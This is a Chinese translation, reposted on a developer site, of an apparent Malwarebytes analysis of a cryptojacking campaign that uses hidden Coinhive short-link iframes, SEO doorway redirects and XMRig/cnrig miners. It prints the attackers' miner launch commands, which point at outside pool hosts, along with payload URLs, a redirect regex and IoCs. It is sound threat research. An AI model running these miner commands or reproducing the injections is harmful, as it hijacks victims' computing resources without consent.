热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

Malwarebytes对使用混淆Coinhive短链接进行浏览器挖矿的调查分析

前言在过去的几个月里,通过浏览器挖矿继续影响着大量的网站,主要依赖Coinhive臭名昭著的API。我们在这个博客上记录了一些活动,特别是Drupalgeddon,攻击者利用流行的内容管理系统(CMS

前言

在过去的几个月里,通过浏览器挖矿继续影响着大量的网站,主要依赖Coinhive臭名昭著的API。我们在这个博客上记录了一些活动,特别是Drupalgeddon,攻击者利用流行的内容管理系统(CMS)中的漏洞威胁网站,并在客户端和服务器端注入payload。

在过去的几周里,我们的爬虫已经使用各种CMS对数百个站点进行了编目,所有这些站点都被注入了相同的模糊代码,这些代码使用Coinhive的短链接来执行静默挖矿。通过围绕这一指标,我们能够确定一个更大的基础,它接收来自数千个被黑客攻击的网站的流量,作为门户将流量重定向到一个中央服务器,该服务器参与了网络和标准恶意挖矿软件的分销。

图1:受害站点挖矿过程

 

混淆注入

作为我们常规爬行的一部分,我们寻找已知最新的站点的重定向,它们大多数都与Coinhive的域名相关。我们发现了数百个新域名,所有合法网站都被注入了十六进制代码。解码后,它显示为一个不可见的请求cnhv[.]co/3h2b2的iframe(1×1像素)。我们相信这是5月底Sucuri披露的同一运动的一部分。

cnhv[.]co域名用于Coinhiv所谓的短链接,本质上是利用超链接通过解决访问者的浏览器在到达目标站点之前的一些麻烦,从而赚钱的一种方式。单击这样的链接时,你将看到一个进度条,几秒钟内,你将被重定向。通过将这些短链接加载为不合理的高散列计数的隐藏的iframes来滥用此功能。

图3:短链接对我们的CPU造成了100%的负担

在图3中,我们通过更改iframe的维度使其可见,以显示用户在页面上停留的时间,而不是在重定向之前等待几秒钟,而是在不知不觉中进行挖掘。实际上,虽然Coinhive的默认设置为1024个散列,但在加载目标URL之前,这个散列需要371.2万个散列。

 

后门启动重定向

在查询urlscan.io时,我们能够通过不同的重定向机制找到早在5月7日就已激活的同一Coinhive键。有一个特定的URI模式指示正在利用被攻击的站点执行5.45.79[.]15的重定向。这反过来通过另一个精心编制的URI创建一个重定向,其中一个参数是引用站点,最终导致启动Web挖矿程序的Coinhive短链接。

图4:通过中间服务器从受害网站加载相同的短链接

几个站点已经被注入隐藏的cnvh[.]co iframe方法,以及通过后门:

图5:一个被黑客攻击的站点,其中注入了Coinhive的短链接和多个受破坏的URL

用于重定向的URI模式可以通过以下正则表达式来标识:

图6:显示受攻击站点之间匹配的正则表达式

 

Blackhat SEO 和后门

再看看这些URI,我们可以注意到某些似乎与搜索引擎优化(SEO)相关的关键字的存在,例如:

cctvvietnam[.]com/1hqg/wzdea.php?lrscye=mongodb-count-fields
pixelbedlam.co[.]uk/9ul8/6nfme.php?lrscye=relativity-software-cost
valam[.]in/f8wb/z8d6w.php?lrscye=tutoring-in-egypt
stemat[.]pl/klwy/dzwfy.php?lrscye=vin-decoder-mercedes
whylab[.]nl/podd/1hwnz.php?lrscye=gpon-home-gateway-exploit
soho-dom[.]ru/el5p/ywuul.php?lrscye=bts-album-download-zip

我们证实,事实上,一些谷歌或必应搜索显示的结果,包括被攻击的作为“门户”网站的名单,,通常是一个交通分配系统或重定向(5.45.79[.]15)。在这种情况下,门户被用来欺骗人们下载恶意的挖矿程序,而不是他们正在寻找的文件。

图7:这个文件不是百分之百干净的

请注意5.45.79[.]15处的服务器是如何执行重定向到另一个被黑客攻击的站点(motoir[.]com)的,其中从URI传递的关键字被动态地用于创建看起来像是唯一的下载页面和文件。

图8:显示重定向序列的Web流量

 

恶意挖矿

执行时,此可执行文件将解压以下三个二进制文件:


  1. winsystem.exe XMRig矿工

  2. clock.exe 封装到EXE中的BAT文件

  3. netflash.exe: 一个用.NET编写的简单的下载程序。

批处理脚本通过设置注册表项来添加持久性,清除某些进程(可能已经在运行的挖掘程序),并通过启动以下步骤开始挖矿:

winsystem.exe -B -a cryptonight -o 37.1.197[.]121:80 -p x -u %COMPUTERNAME% +500 --max-cpu-usage=30 --donate-level=1 -k

图9:显示挖掘代码的批处理脚本

这些二进制文件基于来自一个挖矿软件的相同代码,托管在5.45.79[.]15/xxPhoto.exe上。使用VirusTotal Intelligence,我们能够在这个基础上进行扩展,并识别另一个挖矿程序,这一次是一个ELF文件,基于这个cnrig库,托管在:5.45.79[.]15/monero/cnrig。

图10:显示同一服务器上托管的ELF和Win32挖矿程序的图形

在VirusTotal页面上留下的注释表明,这个挖掘程序是在受感染的服务器上发现的,并且是从一个名为zz1.php的PHP后门下载的。在搜索该文件名时,我们找到了一个可能上传到公共站点的备用文件。通过解码Base64编码的字符串,我们可以更有信心地断言这是攻击者从5.45.79[.]15/monero/cnrig下载Linux挖矿软件时使用的恶意PHP文件:

图11:PHP代码上传到负责ELF矿工下载的受害站点

检索ELF二进制文件后,使用以下命令运行它,然后以便开始挖掘:

./cnrig -o 5.61.46[.]146:80 --donate-level=1 > /dev/null 2>&1

 

代理

由于挖矿程序在没有使用钱包地址的情况下连接到私人矿池(很可能是通过代理),我们无法评估攻击者通过这一计划赚了多少钱。

实际上,位于5.45.79[.]15的服务器也有自己的ProxyPanel:

图12:一个基于xmrig-Proxy的代理

XMRig版本的挖矿程序有一个公共统计页面,显示有近500台受害的机器参与了挖矿活动。对于CNRig版本,我们无法找到任何这样的统计数据,尽管被黑客攻击的服务器数量要高得多。

 

越来越多的网站

人们对加密货币的兴趣极大地改变了恶意软件领域,犯罪分子希望从中分一杯羹。因此,越来越多的网站,无论是客户端还是服务器端,都被用来分发和运营挖矿程序。

在这个活动中,我们看到了通过诱使用户下载他们在网上搜索的文件来将XMRig推送到用户的基础设施。与此同时,被黑客攻击的服务器被指示下载并运行一个Linux矿工,从而为攻击者带来利润,但也给其所有者带来了成本。最后,看到Coinhive的短链接被滥用来进行浏览器挖矿似乎是合情合理的。

Malwarebytes能阻止恶意挖矿,无论是由恶意软件触发的,还是通过受害网站加载的。

感谢@DynamicAnalysis分享的信息。

 

IoC

用于混淆cnvh[.]co注入的字符串

vhisduhvuhiusdhfbjhewvhisdhbybguyebrrfsd

Coinhive短链接

cnhv[.]co/3h2b2

Coinhive站点密钥

Dkpy5v4CBgwZqzPRosdHKDB7DQsc1Sav

用于受害站点重定向的regex

/(w{4}|w{8})/(w{5}|w{9}).php?([a-z]{6}|[a-z]{3})=[w]{1,25}-[w]{1,25}

重定向服务器

5.45.79[.]15

Windows挖矿后门

5.45.79[.]15/xxxphoto.exe
38f55239519523638dc2b3958f5e9951a6b04f813336927a4f7de717518e5b44

Linux矿工

5.45.79[.]15/monero/cnrig
c890d18fe3753a9ea4d026fc713247a9b83070b6fe40539779327501916be031

审核人:yiwang 编辑:边边


推荐阅读
  • FreeBSD环境下PHP GD库安装问题的详细解决方案
    在 FreeBSD 环境下,安装 PHP GD 库时可能会遇到一些常见的问题。本文详细介绍了从配置到编译的完整步骤,包括解决依赖关系、配置选项以及常见错误的处理方法。通过这些详细的指导,开发者可以顺利地在 FreeBSD 上完成 PHP GD 库的安装,确保其正常运行。此外,本文还提供了一些优化建议,帮助提高安装过程的效率和稳定性。 ... [详细]
  • Python 程序转换为 EXE 文件:详细解析 .py 脚本打包成独立可执行文件的方法与技巧
    在开发了几个简单的爬虫 Python 程序后,我决定将其封装成独立的可执行文件以便于分发和使用。为了实现这一目标,首先需要解决的是如何将 Python 脚本转换为 EXE 文件。在这个过程中,我选择了 Qt 作为 GUI 框架,因为之前对此并不熟悉,希望通过这个项目进一步学习和掌握 Qt 的基本用法。本文将详细介绍从 .py 脚本到 EXE 文件的整个过程,包括所需工具、具体步骤以及常见问题的解决方案。 ... [详细]
  • CSS3 @font-face 字体应用技术解析与实践
    在Web前端开发中,HTML教程和CSS3的结合使得网页设计更加多样化。长期以来,Web设计师受限于“web-safe”字体的选择。然而,CSS3中的`@font-face`规则允许从服务器端加载自定义字体,极大地丰富了网页的视觉效果。通过这一技术,设计师可以自由选择和使用各种字体,提升用户体验和页面美观度。本文将深入解析`@font-face`的实现原理,并提供实际应用案例,帮助开发者更好地掌握这一强大工具。 ... [详细]
  • Node.js 配置文件管理方法详解与最佳实践
    本文详细介绍了 Node.js 中配置文件管理的方法与最佳实践,涵盖常见的配置文件格式及其优缺点,并提供了多种实用技巧和示例代码,帮助开发者高效地管理和维护项目配置,具有较高的参考价值。 ... [详细]
  • 深入解析HTML5字符集属性:charset与defaultCharset
    本文将详细介绍HTML5中新增的字符集属性charset和defaultCharset,帮助开发者更好地理解和应用这些属性,以确保网页在不同环境下的正确显示。 ... [详细]
  • HTML中span元素为何会脱离li元素对齐?
    在HTML布局中,有时会遇到span元素未能与li元素保持对齐的问题。本文将探讨这一现象的原因,并提供解决方案。 ... [详细]
  • C盘无法格式化的原因及解决方法
    本文探讨了C盘无法格式化的原因,并提供了详细的解决方案,帮助用户顺利进行系统维护。 ... [详细]
  • 本文讨论了在进行 MySQL 数据迁移过程中遇到的所有 .frm 文件报错的问题,并提供了详细的解决方案和建议。 ... [详细]
  • 在《天天酷跑》中,腾讯微信宠物的升级技巧和策略对于提升游戏体验至关重要。本文详细解析了如何通过合理分配经验和资源,快速提升宠物等级,以及如何选择合适的宠物搭配,以增强角色的综合能力。此外,还介绍了游戏中的一些隐藏机制和优化建议,帮助玩家更好地利用微信宠物的优势,提高游戏成绩。 ... [详细]
  • 当PHP中的tempnam()函数被禁用后的应对策略与解决方案
    当 PHP 中的 `tempnam()` 函数被禁用时,开发者需要采取相应的替代方案以确保应用程序的正常运行。本文探讨了多种应对策略,包括使用 `sys_get_temp_dir()` 结合自定义文件命名方法,以及利用第三方库来生成临时文件。此外,还详细介绍了如何在不同操作系统和服务器环境中配置临时文件路径,以提高代码的兼容性和安全性。 ... [详细]
  • 在 Axublog 1.1.0 版本的 `c_login.php` 文件中发现了一个严重的 SQL 注入漏洞。该漏洞允许攻击者通过操纵登录请求中的参数,注入恶意 SQL 代码,从而可能获取敏感信息或对数据库进行未授权操作。建议用户尽快更新到最新版本并采取相应的安全措施以防止潜在的风险。 ... [详细]
  • 在iOS开发中,基于HTTPS协议的安全网络请求实现至关重要。HTTPS(全称:HyperText Transfer Protocol over Secure Socket Layer)是一种旨在提供安全通信的HTTP扩展,通过SSL/TLS加密技术确保数据传输的安全性和隐私性。本文将详细介绍如何在iOS应用中实现安全的HTTPS网络请求,包括证书验证、SSL握手过程以及常见安全问题的解决方法。 ... [详细]
  • Vi编辑器的工作模式有哪些?如何在不同模式间切换?
    Vi编辑器是Linux系统中常用的文本编辑工具,具备三种主要工作模式:命令模式、插入模式和底行模式。用户可以通过特定的按键组合在这些模式之间进行切换,以实现不同的编辑功能。例如,在命令模式下,用户可以执行移动光标、删除文本等操作;而在插入模式下,则可以输入或修改文本内容。底行模式则用于执行保存文件、退出编辑器等命令。 ... [详细]
  • 隐藏的威胁:你的供应链是否真正安全?
    在网络环境日益复杂的当下,诸如网络钓鱼、DNS欺骗、勒索软件和中间人(MITM)攻击等威胁手段已司空见惯。这些攻击手段无孔不入,对供应链的安全构成了严重挑战。企业必须加强安全意识,采取多层次的防护措施,以确保供应链的每一个环节都得到有效保护。 ... [详细]
  • HBase Java API 进阶:过滤器详解与应用实例
    本文详细探讨了HBase 1.2.6版本中Java API的高级应用,重点介绍了过滤器的使用方法和实际案例。首先,文章对几种常见的HBase过滤器进行了概述,包括列前缀过滤器(ColumnPrefixFilter)和时间戳过滤器(TimestampsFilter)。此外,还详细讲解了分页过滤器(PageFilter)的实现原理及其在大数据查询中的应用场景。通过具体的代码示例,读者可以更好地理解和掌握这些过滤器的使用技巧,从而提高数据处理的效率和灵活性。 ... [详细]
author-avatar
mobiledu2502852625
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有